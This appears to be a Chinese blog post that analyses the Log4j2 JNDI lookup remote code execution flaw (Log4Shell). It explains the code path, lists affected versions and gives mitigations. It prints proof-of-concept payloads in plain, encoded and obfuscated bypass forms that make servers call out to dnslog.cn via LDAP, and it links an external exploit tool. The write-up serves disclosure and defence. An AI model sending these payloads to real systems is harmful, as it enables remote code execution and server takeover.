概述

Apache Log4j2是一个基于Java的日志记录工具。现在则是Apache软件基金会的一个项目。Log4j2是几种Java日志框架之一,该日志框架被大量用于业务系统开发,用来记录日志信息。2021年12月10日,官方发布log4j-2.15.0-rc2版本,在该版本中官方修复了一处远程代码执行漏洞。目前,该漏洞的检测方式已经在社区内流传,且已经出现了黑产的在野利用。
此次漏洞的成因为Log4j2在进行日志记录时存在缺陷,只要攻击者可以控制部分日志内容,即可插入自己精心构造的恶意数据,导致Log4j2对其进行解析时触发漏洞,执行恶意代码,攻击者从而可接管服务器。由于Log4j2 作为日志记录的基础第三方库被大量Java框架及应用使用,且只要用到 Log4j2 进行日志输出且日志内容由攻击者部分可控,即可能会受到漏洞攻击影响。

影响版本

Apache Log4j2:2.0 – 2.15.0.rc1

原理解析

此次漏洞触发点在于其lookup功能。lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供用户以约定的格式进行调用。在log4j2中,日志共有8个级别,程序会打印高于或等于所设置级别的日志,设置的日志等级越高,打印出来的日志就越少。所有级别的日志都可能触发lookup。

Log4j2会按字符检测每条日志,一旦发现某条日志中包含{,则触发替换机制,也就是将表达式内的内容替换成真实的内容,其中执行下一步替换操作。如下图,会循环提取{的内容,不符合格式的请求将直接返回。
202112111639185965372001
继续往下走,进入StrSubstitutor#substitute函数,此步骤主要完成字符串提取工作。
202112111639185994375154
继续向下执行,第418行进入resolveVariable函数。该函数主要执行变量解析。主要根据提交的协议提取不同的resolver进行lookup处理,在这里我们如果插入了jndi协议,log4j2就会按照相应的协议执行表达式。
202112111639186021349400
继而进入JndiLookup#lookup,从字符串中提取类似于url的结构去解析。如果这个url结构为ldap://x.x.x.x/class,程序就会去x.x.x.x地址请求恶意类class,从而触发代码执行。
202112111639186049910357
最终调用栈如下:
202112111639186075576135

POC

1.基础版本

${jndi:ldap://dnslog.cn/expoit}

2.base64版本

JTI0JTdCam5kaSUzQWxkYXAlM0EvL2Ruc2xvZy5jbi9leHBvaXQlN0Q=

3.变形绕过版本

${${env:foo:-jndi}:ldap://dnslog.cn/expolit}

EXP

原理与Fastjson一致,可参考链接:https://hub.fastgit.org/wyzxxz/fastjson_rce_tool

解决方法

1.增加JVM启动参数

-Dlog4j2.formatMsgNoLookups=true

2.设定properties文件

log4j2.formatMsgNoLookups=True

3.设定环境变量

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true

4.删除log4j包内的jndilookup.class

zip -q -d log4j-core-*.jar /org/apache/logging/log4j/core/lookup/Jndilookup.class
上一篇 下一篇